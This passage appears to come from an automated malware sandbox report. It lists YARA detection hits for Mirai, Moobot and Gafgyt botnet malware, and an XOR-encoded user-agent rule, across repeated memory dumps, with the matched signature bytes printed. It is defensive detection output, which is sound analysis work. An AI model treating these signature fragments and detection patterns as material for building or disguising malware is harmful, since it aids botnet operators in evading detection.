39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6508.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6725.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6480.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6480.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6480.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7277.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7277.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6617.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6617.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6617.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6617.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6617.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6617.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6895.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6895.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6895.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6895.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7136.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7136.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7136.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7136.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7136.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7136.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7385.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7385.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7385.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7385.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7385.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7385.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6595.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7301.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6647.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6647.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6647.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6647.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6647.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6647.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6480.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
